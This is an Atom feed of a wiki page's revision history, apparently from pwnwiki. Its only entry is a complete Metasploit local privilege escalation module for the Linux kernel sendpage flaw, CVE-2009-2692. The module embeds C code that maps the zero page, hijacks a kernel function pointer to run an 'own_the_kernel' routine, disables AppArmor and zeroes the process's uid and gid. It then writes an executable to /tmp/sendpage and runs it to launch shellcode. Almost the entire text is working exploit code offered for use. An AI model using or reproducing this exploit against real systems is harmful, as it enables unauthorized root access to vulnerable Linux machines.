<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="chinese">
	<id>https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=CVE-2009-2692_Linux_Kernel_Sendpage%E6%9C%AC%E5%9C%B0%E7%89%B9%E6%AC%8A%E5%8D%87%E7%B4%9A%E6%BC%8F%E6%B4%9E</id>
	<title>CVE-2009-2692 Linux Kernel Sendpage本地特權升級漏洞 - Revision history</title>
	<link rel="self" type="application/atom+xml" href="https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=CVE-2009-2692_Linux_Kernel_Sendpage%E6%9C%AC%E5%9C%B0%E7%89%B9%E6%AC%8A%E5%8D%87%E7%B4%9A%E6%BC%8F%E6%B4%9E"/>
	<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=CVE-2009-2692_Linux_Kernel_Sendpage%E6%9C%AC%E5%9C%B0%E7%89%B9%E6%AC%8A%E5%8D%87%E7%B4%9A%E6%BC%8F%E6%B4%9E&amp;action=history"/>
	<updated>2026-04-11T05:13:04Z</updated>
	<subtitle>Revision history for this page on the wiki</subtitle>
	<generator>MediaWiki 1.35.1</generator>
	<entry>
		<id>https://pwnwiki.com/index.php?title=CVE-2009-2692_Linux_Kernel_Sendpage%E6%9C%AC%E5%9C%B0%E7%89%B9%E6%AC%8A%E5%8D%87%E7%B4%9A%E6%BC%8F%E6%B4%9E&amp;diff=721&amp;oldid=prev</id>
		<title>Pwnwiki: Created page with &quot;==EXP== &lt;pre&gt; ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # web site for m...&quot;</title>
		<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=CVE-2009-2692_Linux_Kernel_Sendpage%E6%9C%AC%E5%9C%B0%E7%89%B9%E6%AC%8A%E5%8D%87%E7%B4%9A%E6%BC%8F%E6%B4%9E&amp;diff=721&amp;oldid=prev"/>
		<updated>2021-03-27T03:31:52Z</updated>

		<summary type="html">&lt;p&gt;Created page with &amp;quot;==EXP== &amp;lt;pre&amp;gt; ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # web site for m...&amp;quot;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;New page&lt;/b&gt;&lt;/p&gt;&lt;div&gt;==EXP==&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
##&lt;br /&gt;
# This file is part of the Metasploit Framework and may be subject to&lt;br /&gt;
# redistribution and commercial restrictions. Please see the Metasploit&lt;br /&gt;
# web site for more information on licensing and terms of use.&lt;br /&gt;
#   http://metasploit.com/&lt;br /&gt;
##&lt;br /&gt;
&lt;br /&gt;
require 'msf/core'&lt;br /&gt;
require 'rex'&lt;br /&gt;
require 'msf/core/post/common'&lt;br /&gt;
require 'msf/core/post/file'&lt;br /&gt;
require 'msf/core/post/linux/priv'&lt;br /&gt;
require 'msf/core/exploit/local/linux_kernel'&lt;br /&gt;
require 'msf/core/exploit/local/linux'&lt;br /&gt;
require 'msf/core/exploit/local/unix'&lt;br /&gt;
&lt;br /&gt;
#load 'lib/msf/core/post/file.rb'&lt;br /&gt;
#load 'lib/msf/core/exploit/local/unix.rb'&lt;br /&gt;
#load 'lib/msf/core/exploit/local/linux.rb'&lt;br /&gt;
#load 'lib/msf/core/exploit/local/linux_kernel.rb'&lt;br /&gt;
&lt;br /&gt;
class Metasploit4 &amp;lt; Msf::Exploit::Local&lt;br /&gt;
	Rank = GreatRanking&lt;br /&gt;
&lt;br /&gt;
	include Msf::Exploit::EXE&lt;br /&gt;
	include Msf::Post::File&lt;br /&gt;
	include Msf::Post::Common&lt;br /&gt;
&lt;br /&gt;
	include Msf::Exploit::Local::LinuxKernel&lt;br /&gt;
	include Msf::Exploit::Local::Linux&lt;br /&gt;
	include Msf::Exploit::Local::Unix&lt;br /&gt;
&lt;br /&gt;
	def initialize(info={})&lt;br /&gt;
		super( update_info( info, {&lt;br /&gt;
				'Name'          =&amp;gt; 'Linux Kernel Sendpage Local Privilege Escalation',&lt;br /&gt;
				'Description'   =&amp;gt; %q{&lt;br /&gt;
					The Linux kernel failed to properly initialize some entries the&lt;br /&gt;
					proto_ops struct for several protocols, leading to NULL being&lt;br /&gt;
					derefenced and used as a function pointer. By using mmap(2) to map&lt;br /&gt;
					page 0, an attacker can execute arbitrary code in the context of the&lt;br /&gt;
					kernel.&lt;br /&gt;
&lt;br /&gt;
					Several public exploits exist for this vulnerability, including&lt;br /&gt;
					spender's wunderbar_emporium and rcvalle's ppc port, sock_sendpage.c.&lt;br /&gt;
&lt;br /&gt;
					All Linux 2.4/2.6 versions since May 2001 are believed to be affected:&lt;br /&gt;
					2.4.4 up to and including 2.4.37.4; 2.6.0 up to and including 2.6.30.4&lt;br /&gt;
				},&lt;br /&gt;
				'License'       =&amp;gt; MSF_LICENSE,&lt;br /&gt;
				'Author'        =&amp;gt;&lt;br /&gt;
					[&lt;br /&gt;
						'Tavis Ormandy',                     # discovery&lt;br /&gt;
						'Julien Tinnes &amp;lt;julien at cr0.org&amp;gt;', # discovery&lt;br /&gt;
						'spender',                           # wunderbar_emporium.tgz&lt;br /&gt;
						'rcvalle',                           # sock_sendpage.c&lt;br /&gt;
						'egypt'                              # metasploit module&lt;br /&gt;
					],&lt;br /&gt;
				'Platform'      =&amp;gt; [ 'linux' ],&lt;br /&gt;
				'Arch'          =&amp;gt; [ ARCH_X86 ],&lt;br /&gt;
				'SessionTypes'  =&amp;gt; [ 'shell', 'meterpreter' ],&lt;br /&gt;
				'References'    =&amp;gt;&lt;br /&gt;
					[&lt;br /&gt;
						[ 'CVE', '2009-2692' ],&lt;br /&gt;
						[ 'URL', 'http://blog.cr0.org/2009/08/linux-null-pointer-dereference-due-to.html' ],&lt;br /&gt;
						[ 'URL', 'http://www.grsecurity.net/~spender/wunderbar_emporium2.tgz' ],&lt;br /&gt;
					],&lt;br /&gt;
				'Targets'       =&amp;gt;&lt;br /&gt;
					[&lt;br /&gt;
						[ 'Linux x86',       { 'Arch' =&amp;gt; ARCH_X86 } ],&lt;br /&gt;
						#[ 'Linux x64',       { 'Arch' =&amp;gt; ARCH_X86_64 } ],&lt;br /&gt;
					],&lt;br /&gt;
				'DefaultTarget' =&amp;gt; 0,&lt;br /&gt;
				'DisclosureDate' =&amp;gt; &amp;quot;Aug 13 2009&amp;quot;,&lt;br /&gt;
			}&lt;br /&gt;
			))&lt;br /&gt;
	end&lt;br /&gt;
&lt;br /&gt;
	def exploit&lt;br /&gt;
		sc = Metasm::ELF.new(@cpu)&lt;br /&gt;
		sc.parse %Q|&lt;br /&gt;
			#define DEBUGGING&lt;br /&gt;
			#define NULL ((void*)0)&lt;br /&gt;
			#ifdef __ELF__&lt;br /&gt;
				.section &amp;quot;.bss&amp;quot; rwx&lt;br /&gt;
				.section &amp;quot;.text&amp;quot; rwx&lt;br /&gt;
				.entrypoint&lt;br /&gt;
			#endif&lt;br /&gt;
			call main&lt;br /&gt;
			;push eax&lt;br /&gt;
			call exit&lt;br /&gt;
		|&lt;br /&gt;
&lt;br /&gt;
		# Set up the same include order as the bionic build system.&lt;br /&gt;
		# See external/source/meterpreter/source/bionic/libc/Jamfile&lt;br /&gt;
		cparser.lexer.include_search_path = [&lt;br /&gt;
			&amp;quot;external/source/meterpreter/source/bionic/libc/include/&amp;quot;,&lt;br /&gt;
			&amp;quot;external/source/meterpreter/source/bionic/libc/private/&amp;quot;,&lt;br /&gt;
			&amp;quot;external/source/meterpreter/source/bionic/libc/bionic/&amp;quot;,&lt;br /&gt;
			&amp;quot;external/source/meterpreter/source/bionic/libc/kernel/arch-x86/&amp;quot;,&lt;br /&gt;
			&amp;quot;external/source/meterpreter/source/bionic/libc/kernel/common/&amp;quot;,&lt;br /&gt;
			&amp;quot;external/source/meterpreter/source/bionic/libc/arch-x86/include/&amp;quot;,&lt;br /&gt;
		]&lt;br /&gt;
&lt;br /&gt;
		cparser.parse(%Q|&lt;br /&gt;
			#define DEBUGGING&lt;br /&gt;
			// Fixes a parse error in bionic's libc/kernel/arch-x86/asm/types.h&lt;br /&gt;
			#ifndef __extension__&lt;br /&gt;
			#define __extension__&lt;br /&gt;
			#endif&lt;br /&gt;
			// Fixes a parse error in bionic's libc/include/sys/cdefs_elf.h&lt;br /&gt;
			// Doing #if on an undefined macro is fine in GCC, but a parse error in&lt;br /&gt;
			// metasm.&lt;br /&gt;
			#ifndef __STDC__&lt;br /&gt;
			#define __STDC__ 0&lt;br /&gt;
			#endif&lt;br /&gt;
			#include &amp;lt;sys/types.h&amp;gt;&lt;br /&gt;
			#include &amp;lt;sys/mman.h&amp;gt;&lt;br /&gt;
			#include &amp;lt;stdarg.h&amp;gt;&lt;br /&gt;
			#include &amp;lt;stdio.h&amp;gt;&lt;br /&gt;
			#include &amp;lt;unistd.h&amp;gt;&lt;br /&gt;
			#include &amp;lt;errno.h&amp;gt;&lt;br /&gt;
			/*&lt;br /&gt;
			OpenBSD's strcmp from string/strcmp.c in bionic&lt;br /&gt;
			*/&lt;br /&gt;
			int&lt;br /&gt;
			strcmp(const char *s1, const char *s2)&lt;br /&gt;
			{&lt;br /&gt;
				while (*s1 == *s2++)&lt;br /&gt;
					if (*s1++ == 0)&lt;br /&gt;
						return (0);&lt;br /&gt;
				return (*(unsigned char *)s1 - *(unsigned char *)--s2);&lt;br /&gt;
			}&lt;br /&gt;
		|)&lt;br /&gt;
&lt;br /&gt;
		[&lt;br /&gt;
			&amp;quot;external/source/meterpreter/source/bionic/libc/bionic/__errno.c&amp;quot;,&lt;br /&gt;
			&amp;quot;external/source/meterpreter/source/bionic/libc/bionic/__set_errno.c&amp;quot;,&lt;br /&gt;
			&amp;quot;external/source/meterpreter/source/bionic/libc/stdio/stdio.c&amp;quot;,&lt;br /&gt;
			&amp;quot;external/source/meterpreter/source/bionic/libc/unistd/mmap.c&amp;quot;,&lt;br /&gt;
			# This parses without any trouble, but actually calling perror() causes&lt;br /&gt;
			# immediate segfaults.&lt;br /&gt;
			#&amp;quot;external/source/meterpreter/source/bionic/libc/unistd/perror.c&amp;quot;,&lt;br /&gt;
&lt;br /&gt;
			# For some ungodly reason, NULL ends up being undefined when parsing this&lt;br /&gt;
			# guy, which of course causes parse errors.&lt;br /&gt;
			#&amp;quot;external/source/meterpreter/source/bionic/libc/stdio/mktemp.c&amp;quot;,&lt;br /&gt;
&lt;br /&gt;
		].each do |fname|&lt;br /&gt;
			print_status(&amp;quot;Parsing c file #{fname}&amp;quot;)&lt;br /&gt;
			cparser.parse(File.read(fname), fname)&lt;br /&gt;
		end&lt;br /&gt;
&lt;br /&gt;
		print_status(&amp;quot;Unix socket.h&amp;quot;)&lt;br /&gt;
		unix_socket_h(sc)&lt;br /&gt;
		current_task_struct_h(sc)&lt;br /&gt;
&lt;br /&gt;
		case target.arch.first&lt;br /&gt;
		when ARCH_X86&lt;br /&gt;
		print_status(&amp;quot;syscall wrappers&amp;quot;)&lt;br /&gt;
			linux_x86_syscall_wrappers(sc)&lt;br /&gt;
			main = %q^&lt;br /&gt;
#ifdef __x86_64__&lt;br /&gt;
#define PTR_FMT &amp;quot;0x%016x&amp;quot;&lt;br /&gt;
#else&lt;br /&gt;
#define PTR_FMT &amp;quot;0x%08x&amp;quot;&lt;br /&gt;
#endif&lt;br /&gt;
&lt;br /&gt;
#define NULL ((void*)0)&lt;br /&gt;
#define DOMAINS_STOP -1&lt;br /&gt;
const int domains[] = {&lt;br /&gt;
	PF_BLUETOOTH,&lt;br /&gt;
	PF_APPLETALK,&lt;br /&gt;
	PF_IPX,&lt;br /&gt;
	PF_IRDA,&lt;br /&gt;
	PF_X25,&lt;br /&gt;
	PF_AX25,&lt;br /&gt;
	PF_BLUETOOTH,&lt;br /&gt;
	PF_PPPOX,&lt;br /&gt;
	DOMAINS_STOP&lt;br /&gt;
	};&lt;br /&gt;
&lt;br /&gt;
int *apparmor_enabled;&lt;br /&gt;
&lt;br /&gt;
int got_ring0 = 0;&lt;br /&gt;
unsigned long uid, gid;&lt;br /&gt;
&lt;br /&gt;
static unsigned long get_kernel_sym(char *name)&lt;br /&gt;
{&lt;br /&gt;
	FILE *f;&lt;br /&gt;
	unsigned long addr;&lt;br /&gt;
	char dummy;&lt;br /&gt;
	char sname[256];&lt;br /&gt;
	int ret;&lt;br /&gt;
&lt;br /&gt;
	f = fopen(&amp;quot;/proc/kallsyms&amp;quot;, &amp;quot;r&amp;quot;);&lt;br /&gt;
	if (f == NULL) {&lt;br /&gt;
		f = fopen(&amp;quot;/proc/ksyms&amp;quot;, &amp;quot;r&amp;quot;);&lt;br /&gt;
		if (f == NULL) {&lt;br /&gt;
			printf(&amp;quot;Unable to obtain symbol listing!\n&amp;quot;);&lt;br /&gt;
			return 0;&lt;br /&gt;
		}&lt;br /&gt;
	}&lt;br /&gt;
&lt;br /&gt;
	ret = 0;&lt;br /&gt;
	while(ret != EOF) {&lt;br /&gt;
		ret = fscanf(f, &amp;quot;%p %c %s\n&amp;quot;, (void **)&amp;amp;addr, &amp;amp;dummy, sname);&lt;br /&gt;
		if (ret == 0) {&lt;br /&gt;
			fscanf(f, &amp;quot;%s\n&amp;quot;, sname);&lt;br /&gt;
			continue;&lt;br /&gt;
		}&lt;br /&gt;
		if (!strcmp(name, sname)) {&lt;br /&gt;
			printf(&amp;quot; [+] Resolved %s to %p\n&amp;quot;, name, (void *)addr);&lt;br /&gt;
			fclose(f);&lt;br /&gt;
			return addr;&lt;br /&gt;
		}&lt;br /&gt;
	}&lt;br /&gt;
&lt;br /&gt;
	fclose(f);&lt;br /&gt;
	return 0;&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
static void&lt;br /&gt;
change_cred(void)&lt;br /&gt;
{&lt;br /&gt;
	unsigned int *task_struct;&lt;br /&gt;
&lt;br /&gt;
	task_struct = (unsigned int *)current_task_struct();&lt;br /&gt;
&lt;br /&gt;
	while (task_struct) {&lt;br /&gt;
		if (task_struct[0] == uid &amp;amp;&amp;amp; task_struct[1] == uid &amp;amp;&amp;amp;&lt;br /&gt;
				task_struct[2] == uid &amp;amp;&amp;amp; task_struct[3] == uid &amp;amp;&amp;amp;&lt;br /&gt;
				task_struct[4] == gid &amp;amp;&amp;amp; task_struct[5] == gid &amp;amp;&amp;amp;&lt;br /&gt;
				task_struct[6] == gid &amp;amp;&amp;amp; task_struct[7] == gid) {&lt;br /&gt;
			task_struct[0] = task_struct[1] =&lt;br /&gt;
			task_struct[2] = task_struct[3] =&lt;br /&gt;
			task_struct[4] = task_struct[5] =&lt;br /&gt;
			task_struct[6] = task_struct[7] = 0;&lt;br /&gt;
			break;&lt;br /&gt;
		}&lt;br /&gt;
&lt;br /&gt;
		task_struct++;&lt;br /&gt;
	}&lt;br /&gt;
&lt;br /&gt;
	return;&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
int __attribute__((regparm(3)))&lt;br /&gt;
own_the_kernel(unsigned long a, unsigned long b, unsigned long c, unsigned long d, unsigned long e)&lt;br /&gt;
{&lt;br /&gt;
&lt;br /&gt;
	got_ring0 = 1;&lt;br /&gt;
	if (apparmor_enabled &amp;amp;&amp;amp; *apparmor_enabled) {&lt;br /&gt;
		*apparmor_enabled = 0;&lt;br /&gt;
	}&lt;br /&gt;
	change_cred();&lt;br /&gt;
	return -1;&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
const char *shellcode =&lt;br /&gt;
&amp;quot;&amp;quot;;&lt;br /&gt;
int shellcode_size = 0;&lt;br /&gt;
&lt;br /&gt;
int main() {&lt;br /&gt;
	int i = 0;&lt;br /&gt;
	int d;&lt;br /&gt;
	int in_fd, out_fd;&lt;br /&gt;
	char *mapped;&lt;br /&gt;
	char template[] = &amp;quot;/tmp/sendfile.XXXXXX&amp;quot;;&lt;br /&gt;
	int (*func)();&lt;br /&gt;
&lt;br /&gt;
	uid = getuid(), gid = getgid();&lt;br /&gt;
&lt;br /&gt;
	mapped = mmap(NULL , 0x1000,&lt;br /&gt;
			PROT_READ | PROT_WRITE | PROT_EXEC,&lt;br /&gt;
			MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS,&lt;br /&gt;
			0, 0&lt;br /&gt;
		);&lt;br /&gt;
	if (mapped == NULL) {&lt;br /&gt;
		printf(&amp;quot;Mapped zero page!\n&amp;quot;);&lt;br /&gt;
	} else {&lt;br /&gt;
		exit(1);&lt;br /&gt;
	}&lt;br /&gt;
&lt;br /&gt;
	// jmp dword near [dword 0x8]&lt;br /&gt;
	mapped[0] = '\xff';&lt;br /&gt;
	mapped[1] = '\x25';&lt;br /&gt;
	*(unsigned long *)&amp;amp;mapped[2] = 8;&lt;br /&gt;
	*(unsigned long *)&amp;amp;mapped[8] = (unsigned long)own_the_kernel;&lt;br /&gt;
&lt;br /&gt;
	for (i = 0; i &amp;lt; 16; i++) {&lt;br /&gt;
		printf(&amp;quot;\\\\x%02x&amp;quot;, (unsigned char)mapped[i]);&lt;br /&gt;
	}&lt;br /&gt;
	printf(&amp;quot;\n&amp;quot;);&lt;br /&gt;
&lt;br /&gt;
	for (d = 0; domains[d] != DOMAINS_STOP; d++) {&lt;br /&gt;
		//printf(&amp;quot;Next domain ... &amp;quot;);&lt;br /&gt;
		out_fd = socket(domains[d], SOCK_DGRAM, 0);&lt;br /&gt;
		if (out_fd &amp;gt; 0) {&lt;br /&gt;
			printf(&amp;quot;Got domain[%d]\n&amp;quot;, d);&lt;br /&gt;
			break;&lt;br /&gt;
		}&lt;br /&gt;
		if (out_fd &amp;lt; 0) {&lt;br /&gt;
			printf(&amp;quot;out_fd: %d, Errno: %d\n&amp;quot;, out_fd, errno);&lt;br /&gt;
			exit(1);&lt;br /&gt;
		}&lt;br /&gt;
	}&lt;br /&gt;
	unlink(template);&lt;br /&gt;
	// Couldn't get mkstemp to work, just use open(2) for now&lt;br /&gt;
	in_fd = open(template, O_CREAT | O_RDWR, 0777);&lt;br /&gt;
	printf(&amp;quot;Opened temp file: %d\n&amp;quot;, in_fd);&lt;br /&gt;
	unlink(template);&lt;br /&gt;
	printf(&amp;quot;Calling ftruncate\n&amp;quot;);&lt;br /&gt;
	ftruncate(in_fd, 4096);&lt;br /&gt;
&lt;br /&gt;
	printf(&amp;quot;got_ring0 addr: &amp;quot; PTR_FMT &amp;quot;\n&amp;quot;, &amp;amp;got_ring0);&lt;br /&gt;
	printf(&amp;quot;Calling sendfile(%d, %d, %d, %d)\n&amp;quot;, out_fd, in_fd, NULL, 4096);&lt;br /&gt;
	sendfile(out_fd, in_fd, NULL, 4096);&lt;br /&gt;
	printf(&amp;quot;got_ring0: &amp;quot; PTR_FMT &amp;quot;, %d\n&amp;quot;, &amp;amp;got_ring0, got_ring0);&lt;br /&gt;
	printf(&amp;quot;UID: %d GID: %d\n&amp;quot;, getuid(), getgid());&lt;br /&gt;
&lt;br /&gt;
	func = mmap(NULL, 0x1000,&lt;br /&gt;
			PROT_READ | PROT_WRITE | PROT_EXEC,&lt;br /&gt;
			MAP_PRIVATE | MAP_ANONYMOUS,&lt;br /&gt;
			0, 0&lt;br /&gt;
		);&lt;br /&gt;
	mprotect(func, 4096, PROT_READ|PROT_WRITE|PROT_EXEC);&lt;br /&gt;
	// weaksauce memcpy so we don't have to #include &amp;lt;string.h&amp;gt;&lt;br /&gt;
	printf(&amp;quot;Copying %d bytes of shellcode\n&amp;quot;, shellcode_size);&lt;br /&gt;
	for (i = 0; i &amp;lt; shellcode_size; i++) {&lt;br /&gt;
		(char)func[i] = (char)shellcode[i];&lt;br /&gt;
	}&lt;br /&gt;
	printf(&amp;quot;Calling shellcode: 0x%p\n&amp;quot;, func);&lt;br /&gt;
	//sigtrap();&lt;br /&gt;
	func();&lt;br /&gt;
&lt;br /&gt;
	return got_ring0;&lt;br /&gt;
}&lt;br /&gt;
^&lt;br /&gt;
			main.gsub!(/shellcode =/) do&lt;br /&gt;
				# split the payload into 16-byte chunks and dump it out as a&lt;br /&gt;
				# hex-escaped C string&lt;br /&gt;
				%Q|shellcode =\n&amp;quot;#{payload.encoded.scan(/.{,16}/).map{|c|Rex::Text.to_hex(c,&amp;quot;\\x&amp;quot;)}.join(%Q|&amp;quot;\n&amp;quot;|)}&amp;quot;|&lt;br /&gt;
			end&lt;br /&gt;
			main.gsub!(/shellcode_size = 0/, &amp;quot;shellcode_size = #{payload.encoded.length}&amp;quot;)&lt;br /&gt;
			cparser.parse(main, &amp;quot;main.c&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
			asm = cpu.new_ccompiler(cparser, sc).compile&lt;br /&gt;
&lt;br /&gt;
			sc.parse asm&lt;br /&gt;
		end&lt;br /&gt;
&lt;br /&gt;
		sc.assemble&lt;br /&gt;
&lt;br /&gt;
		begin&lt;br /&gt;
			if sc.kind_of? Metasm::ELF&lt;br /&gt;
				elf = sc.encode_string&lt;br /&gt;
			else&lt;br /&gt;
				foo = sc.encode_string&lt;br /&gt;
				elf = Msf::Util::EXE.to_linux_x86_elf(framework, foo)&lt;br /&gt;
			end&lt;br /&gt;
		rescue&lt;br /&gt;
			print_error &amp;quot;Metasm Encoding failed: #{$!}&amp;quot;&lt;br /&gt;
			elog &amp;quot;Metasm Encoding failed: #{$!.class} : #{$!}&amp;quot;&lt;br /&gt;
			elog &amp;quot;Call stack:\n#{$!.backtrace.join(&amp;quot;\n&amp;quot;)}&amp;quot;&lt;br /&gt;
			return&lt;br /&gt;
		end&lt;br /&gt;
&lt;br /&gt;
		#puts Rex::Text.to_hex_dump(foo)&lt;br /&gt;
		File.open(&amp;quot;payload.bin&amp;quot;, &amp;quot;wb&amp;quot;) {|fd|&lt;br /&gt;
			fd.write elf&lt;br /&gt;
		}&lt;br /&gt;
		print_status &amp;quot;Writing exploit executable (#{elf.length} bytes)&amp;quot;&lt;br /&gt;
		cmd_exec(&amp;quot;rm /tmp/sendpage&amp;quot;)&lt;br /&gt;
		write_file(&amp;quot;/tmp/sendpage&amp;quot;, elf)&lt;br /&gt;
		output = cmd_exec(&amp;quot;chmod +x /tmp/sendpage; /tmp/sendpage&amp;quot;)&lt;br /&gt;
		output.each_line { |line| print_debug line.chomp }&lt;br /&gt;
		#cmd_exec(&amp;quot;rm /tmp/sendpage&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
	end&lt;br /&gt;
&lt;br /&gt;
end&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;/div&gt;</summary>
		<author><name>Pwnwiki</name></author>
	</entry>
</feed>